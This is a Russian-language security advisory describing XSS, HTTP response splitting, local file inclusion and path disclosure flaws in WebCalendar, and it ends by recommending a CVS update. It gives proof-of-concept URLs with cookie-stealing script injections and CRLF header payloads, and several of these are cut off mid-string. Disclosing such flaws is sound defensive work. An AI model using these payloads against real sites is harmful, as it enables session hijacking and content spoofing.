XSS и Response Splitting в WebCalendar

Описание:
Обнаружено несколько уязвимостей в WebCalendar. Удаленный атакующий может произвести XSS и Response splitting атаки, определить путь к установочной директории на сервере и получить административный доступ к приложению.

1. Межсайтовое выполнение сценариев возможно из-за некорректной фильтрации HTML кода в тэгах IMG. Удаленный атакующий может сформировать специальным образом URL и выполнить произвольный HTML сценарий в браузере целевого пользователя. Пример:

http://[target]/demo/view_entry.php?id=41972"><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javas

http://[target]/demo/view_d.php?id=657"><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:

http://[target]/demo/usersel.php?form=editentryform.elements[20];
%0d%0aalert(document.cookie);//&listid=20&users=demo,demo1,demo2

http://[target]/demo/datesel.php?form=editentryform.elements[20].rpt_day.selectedIndex%20=%20day%20-%201;alert(document.cookie);//"
ookie)>&fday=rpt_day&fmonth=rpt_ month&fyear=rpt_year&date=20041001

http://[target]/demo/datesel.php?form=editentryform&fday=rpt_day"%20onclick=javascript:alert(document.cookie)>&fmonth=&t

http://[target]/demo/includes/trailer.php?user="><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=ja;

http://[target]/demo/includes/styles.php?FONTS=asdf}%0A--></style>&lt;script&gt;alert(document.cookie)&lt;/script&a

Все глобальные параметры уязвимы.

2. Удаленный атакующий может произвести атаку Response slitting и подменить содержимое страницы. Уязвимый сценарий – login.php. Пример:

http://[target]/demo/login.php?re turn_path=%0d%0aContent-Length:0%0d%0a%0d%0aHTTP/1.1
%20200%20OK%0d%0a%0d%0dContent-Type:text/html%0d%0a

3. Локальный пользователь может создать файл в доступной web серверу директории, и затем с помощью специально сформированного URL выполнить его. Пример:

http://[target]/demo/includes/init.php?user_inc=the_file_that_you_upload_via_ftp_or_other

4. Удаленный атакующий может получить данные о пути к установочной директории приложения на сервере с помощью специально сформированного URL. Пример:

http://[target]/demo/includes/validate.php?encoded_login=

URL производителя: webcalendar.sourceforge.net

Решение: Установите обновление, доступное по CVS.